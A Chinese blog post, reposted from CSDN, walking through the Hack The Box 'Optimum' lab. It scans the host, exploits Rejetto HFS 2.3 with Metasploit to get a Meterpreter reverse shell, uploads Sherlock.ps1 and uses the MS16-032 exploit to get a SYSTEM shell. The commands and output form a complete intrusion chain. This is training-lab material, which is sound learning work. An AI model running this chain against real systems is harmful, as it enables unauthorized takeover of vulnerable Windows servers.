小言_互联网的博客

实战Hack The Box里的Optimum

401人阅读  评论(0)

第一步是运行Nmap并发现主机上运行的服务。


  
  1. # Nmap 7.80 scan initiated Thu Sep 3 13:38:37 2020 as: nmap -p- -oN scan -sV -O -sC 10.10.10.8
  2. Nmap scan report for 10.10 .10 .8
  3. Host is up (0.020s latency).
  4. Not shown: 65534 filtered ports
  5. PORT STATE SERVICE VERSION
  6. 80 /tcp open http HttpFileServer httpd 2.3
  7. |_http-server-header: HFS 2.3
  8. |_http-title: HFS /
  9. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  10. Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
  11. No exact OS matches for host (test conditions non-ideal).
  12. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
  13. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  14. # Nmap done at Thu Sep 3 13:40:37 2020 -- 1 IP address (1 host up) scanned in 119.97 seconds

此输出中我们可以看到,只有端口80是打开的,并且它正在运行HttpFileServer软件。通过浏览到此页面,我们可以看到它正在运行版本2.3。

然后,我打开了searchsploit,并使用此软件搜索了任何漏洞利用。


  
  1. kali @kali: ~/Documents/optimum$ searchsploit rejetto
  2. --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
  3. Exploit Title | Path
  4. --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
  5. Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit) | windows /remote/ 34926.rb
  6. Rejetto HTTP File Server (HFS) 1.5 /2.x - Multiple Vulnerabilities | windows/remote/ 31056.py
  7. Rejetto HTTP File Server (HFS) 2.2 /2.3 - Arbitrary File Upload | multiple/remote/ 30850.txt
  8. Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution ( 1) | windows /remote/ 34668.txt
  9. Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution ( 2) | windows /remote/ 39161.py
  10. Rejetto HTTP File Server (HFS) 2.3a /2.3b/ 2.3c - Remote Command Execution | windows /webapps/ 34852.txt
  11. --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
  12. Shellcodes: No Results
  13. Papers: No Results

2.3版有多种选择,我从列表的顶部开始。我打开metasploit在其中搜索漏洞,并将其设置为漏洞。


  
  1. msf5 > search rejetto
  2. Matching Modules
  3. ================
  4. # Name Disclosure Date Rank Check Description
  5. - ---- --------------- ---- ----- -----------
  6. 0 exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Yes Rejetto HttpFileServer Remote Command Execution
  7. msf5 > use exploit/windows/http/rejetto_hfs_exec

然后,我设置必要的选项以允许漏洞利用程序在我的环境中运行,然后运行漏洞利用程序。


  
  1. msf5 exploit(windows/http/rejetto_hfs_exec) > set rhost 10.10 .10 .8
  2. rhost => 10.10 .10 .8
  3. msf5 exploit(windows/http/rejetto_hfs_exec) > set lhost 10.10 .14 .29
  4. lhost => 10.10 .14 .29
  5. msf5 exploit(windows/http/rejetto_hfs_exec) > set srvhost 10.10 .14 .29
  6. srvhost => 10.10 .14 .29
  7. msf5 exploit(windows/http/rejetto_hfs_exec) > run
  8. [ *] Started reverse TCP handler on 10.10 .14 .29 :4444
  9. [ *] Using URL: http://10.10.14.29:8080/iy4yuO6
  10. [ *] Server started.
  11. [ *] Sending a malicious request to /
  12. /usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
  13. /usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
  14. [ *] Payload request received: /pGt1jOpl
  15. [ *] Sending stage (176195 bytes) to 10.10 .10 .8
  16. [ *] Meterpreter session 1 opened (10.10.14.29:4444 -> 10.10 .10 .8 :49162) at 2020-09-03 14:22:39 -0400
  17. [ !] Tried to delete %TEMP%\ZLZvmxLcClMgg.vbs, unknown result
  18. [ *] Server stopped.
  19. meterpreter >
  20. meterpreter > ls
  21. Listing: C:\Users\kostas\Desktop
  22. ================================
  23. Mode Size Type Last modified Name
  24. ---- ---- ---- ------------- ----
  25. 40777/rwxrwxrwx 0 dir 2020-09-09 23:22:48 -0400 %TEMP%
  26. 100666/rw-rw-rw- 282 fil 2017-03-18 07:57:16 -0400 desktop.ini
  27. 100777/rwxrwxrwx 760320 fil 2014-02-16 06:58:52 -0500 hfs.exe
  28. 100444/r--r--r-- 32 fil 2017-03-18 08:13:18 -0400 user.txt.txt
  29. meterpreter > cat user.txt.txt
  30. [REDACTED]
  31. meterpreter >

从输出中可以看到。运行成功并生成了一个抄表器外壳。我可以从这里读取用户标志。

 

我在运行sysinfo时注意到该体系结构是x64,而我使用的有效负载是32位。我决定将有效负载设置为x64 reverse_TCP,以允许有效的特权隔离。

msf5 exploit(windows/http/rejetto_hfs_exec) > set payload windows/x64/meterpreter_reverse_tcp

下一步是将SHERLOCK上载到计算机并执行,以识别可能的特权利用方法。


  
  1. meterpreter > upload /home/kali/Documents/optimum/Sherlock.ps1
  2. [ *] uploading : /home/kali/Documents/optimum/Sherlock.ps1 -> Sherlock.ps1
  3. [ *] Uploaded 16.27 KiB of 16.27 KiB (100.0%): /home/kali/Documents/optimum/Sherlock.ps1 -> Sherlock.ps1
  4. [ *] uploaded : /home/kali/Documents/optimum/Sherlock.ps1 -> Sherlock.ps1
  5. meterpreter > powershell_import ./Sherlock.ps1
  6. [ +] File successfully imported. No result was returned.
  7. meterpreter > powershell_execute Find-AllVulns
  8. [ +] Command execution completed:
  9. Title : User Mode to Ring (KiTrap0D)
  10. MSBulletin : MS10-015
  11. CVEID : 2010 -0232
  12. Link : https://www.exploit-db.com/exploits/11199/
  13. VulnStatus : Not supported on 64 -bit systems
  14. Title : Task Scheduler .XML
  15. MSBulletin : MS10-092
  16. CVEID : 2010 -3338 , 2010 -3888
  17. Link : https://www.exploit-db.com/exploits/19930/
  18. VulnStatus : Not Vulnerable
  19. Title : NTUserMessageCall Win32k Kernel Pool Overflow
  20. MSBulletin : MS13-053
  21. CVEID : 2013 -1300
  22. Link : https://www.exploit-db.com/exploits/33213/
  23. VulnStatus : Not supported on 64 -bit systems
  24. Title : TrackPopupMenuEx Win32k NULL Page
  25. MSBulletin : MS13-081
  26. CVEID : 2013 -3881
  27. Link : https://www.exploit-db.com/exploits/31576/
  28. VulnStatus : Not supported on 64 -bit systems
  29. Title : TrackPopupMenu Win32k Null Pointer Dereference
  30. MSBulletin : MS14-058
  31. CVEID : 2014 -4113
  32. Link : https://www.exploit-db.com/exploits/35101/
  33. VulnStatus : Not Vulnerable
  34. Title : ClientCopyImage Win32k
  35. MSBulletin : MS15-051
  36. CVEID : 2015 -1701 , 2015 -2433
  37. Link : https://www.exploit-db.com/exploits/37367/
  38. VulnStatus : Not Vulnerable
  39. Title : Font Driver Buffer Overflow
  40. MSBulletin : MS15-078
  41. CVEID : 2015 -2426 , 2015 -2433
  42. Link : https://www.exploit-db.com/exploits/38222/
  43. VulnStatus : Not Vulnerable
  44. Title : 'mrxdav.sys' WebDAV
  45. MSBulletin : MS16-016
  46. CVEID : 2016 -0051
  47. Link : https://www.exploit-db.com/exploits/40085/
  48. VulnStatus : Not supported on 64 -bit systems
  49. Title : Secondary Logon Handle
  50. MSBulletin : MS16-032
  51. CVEID : 2016 -0099
  52. Link : https://www.exploit-db.com/exploits/39719/
  53. VulnStatus : Appears Vulnerable
  54. Title : Windows Kernel-Mode Drivers EoP
  55. MSBulletin : MS16-034
  56. CVEID : 2016 -0093 /94/95/96
  57. Link : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034?
  58. VulnStatus : Appears Vulnerable
  59. Title : Win32k Elevation of Privilege
  60. MSBulletin : MS16-135
  61. CVEID : 2016 -7255
  62. Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
  63. VulnStatus : Appears Vulnerable
  64. Title : Nessus Agent 6.6 .2 - 6.10 .3
  65. MSBulletin : N/A
  66. CVEID : 2017 -7199
  67. Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html
  68. VulnStatus : Not Vulnerable

从输出中可以看到。有许多发现表明是脆弱的。经过一番尝试和错误后,我发现MS16-032漏洞利用程序已在计算机上成功运行。


  
  1. msf5 exploit(windows/http/rejetto_hfs_exec) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
  2. [ *] No payload configured, defaulting to windows/meterpreter/reverse_tcp
  3. msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show targets
  4. Exploit targets:
  5. Id Name
  6. -- ----
  7. 0 Windows x86
  8. 1 Windows x64
  9. msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set target 1
  10. target => 1
  11. msf5 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run
  12. [ *] Started reverse TCP handler on 10.10 .14 .16 :5424
  13. [ +] Compressed size: 1016
  14. [ !] Executing 32 -bit payload on 64 -bit ARCH, using SYSWOW64 powershell
  15. [ *] Writing payload file, C:\Users\kostas\AppData\Local\Temp\XmayKNpxaWdDp.ps1...
  16. [ *] Compressing script contents...
  17. [ +] Compressed size: 3600
  18. [ *] Executing exploit script...
  19. [ *] Sending stage (176195 bytes) to 10.10 .10 .8
  20. __ __ ___ ___ ___ ___ ___ ___
  21. | V | _|_ | | _|___| |_ |_ |
  22. | |_ |_| |_| . |___| | |_ | _|
  23. |_|_|_|___|_____|___| |___|___|___|
  24. [by b33f -> @FuzzySec]
  25. [ ?] Operating system core count: 2
  26. [ >] Duplicating CreateProcessWithLogonW handle
  27. [ ?] Done, using thread handle: 1356
  28. [ *] Sniffing out privileged impersonation token..
  29. [ ?] Thread belongs to: svchost
  30. [ +] Thread suspended
  31. [ >] Wiping current impersonation token
  32. [ >] Building SYSTEM impersonation token
  33. [ ?] Success, open SYSTEM token handle: 1352
  34. [ +] Resuming thread..
  35. [ *] Sniffing out SYSTEM shell..
  36. [ >] Duplicating SYSTEM token
  37. [ >] Starting token race
  38. [ >] Starting process race
  39. [ !] Holy handle leak Batman, we have a SYSTEM shell!!
  40. 1QbOGFFhI9x1Fbi003Q7cjj9ylu5wbjY
  41. [ +] Executed on target machine.
  42. [ *] Meterpreter session 11 opened (10.10.14.16:5424 -> 10.10 .10 .8 :49163) at 2020-09-14 15:32:59 -0400
  43. [ +] Deleted C:\Users\kostas\AppData\Local\Temp\XmayKNpxaWdDp.ps1

从这一点开始,我能够浏览到Administrator下的Desktop文件夹,并选择根标志。


  
  1. meterpreter > cd /
  2. meterpreter > cd Users
  3. meterpreter > cd Administrator
  4. meterpreter > cd Desktop
  5. meterpreter > ls
  6. Listing: C:\Users\Administrator\Desktop
  7. =======================================
  8. Mode Size Type Last modified Name
  9. ---- ---- ---- ------------- ----
  10. 100666 /rw-rw-rw- 282 fil 2017-03-18 07:52:56 -0400 desktop.ini
  11. 100444 /r--r--r-- 32 fil 2017-03-18 08:13:57 -0400 root.txt
  12. meterpreter > cat root.txt
  13. [ REDACTED]

关注微信公众号:知柯信息安全 获取更多资讯

排版:知柯-匿名者


转载:https://blog.csdn.net/qq_25879801/article/details/112579865
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场